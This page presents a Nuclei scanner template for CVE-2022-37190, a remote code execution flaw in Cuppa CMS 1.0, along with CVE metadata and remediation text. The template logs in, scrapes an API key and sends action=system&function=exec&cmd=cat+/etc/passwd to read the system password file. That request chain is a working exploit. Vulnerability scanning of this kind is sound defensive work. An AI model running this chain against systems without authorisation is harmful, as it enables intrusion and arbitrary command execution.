Cuppa CMS v1.0 - Remote Code Execution

ID: CVE-2022-37190

Severity: high

Author: theamanrawat

Tags: cve2022,cve,rce,cuppa,authenticated,cuppacms

Description

CuppaCMS 1.0 is vulnerable to Remote Code Execution (RCE). An authenticated user can control both parameters (action and function) from “/api/index.php.

YAML Source

id: CVE-2022-37190

info:
  name: Cuppa CMS v1.0 - Remote Code Execution
  author: theamanrawat
  severity: high
  description: |
    CuppaCMS 1.0 is vulnerable to Remote Code Execution (RCE). An authenticated user can control both parameters (action and function) from "/api/index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patch or update to a patched version of Cuppa CMS v1.0 to mitigate this vulnerability.
  reference:
    - https://github.com/CuppaCMS/CuppaCMS
    - https://nvd.nist.gov/vuln/detail/CVE-2022-37190
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-37190
    cwe-id: CWE-732
    epss-score: 0.19055
    epss-percentile: 0.9625
    cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: cuppacms
    product: cuppacms
  tags: cve2022,cve,rce,cuppa,authenticated,cuppacms

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&password={{password}}&language=en&task=login
      - |
        POST /components/table_manager/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        path=component%2Ftable_manager%2Fview%2Fcu_api_keys
      - |
        POST /api/index.php HTTP/1.1
        Host: {{Hostname}}
        key: {{apikey}}
        Content-Type: application/x-www-form-urlencoded

        action=system&function=exec&cmd=cat+/etc/passwd

    matchers-condition: and
    matchers:
      - type: word
        part: header_3
        words:
          - "text/html"

      - type: regex
        regex:
          - "postgres:.*:1001:"
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: apikey
        group: 1
        regex:
          - "<td class='td_key'>(.*?)</td>"
        internal: true
# digest: 4a0a0047304502200b57e5ff94801bc16f94c56c58b7596021bbc93d268e5b6604edb8d4004c06c50221008e1fd06c7aa212ad92493e2a2ff7ba24052fa4e139a8eaba38b6165458ab83a8:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-37190.yaml"

View on Github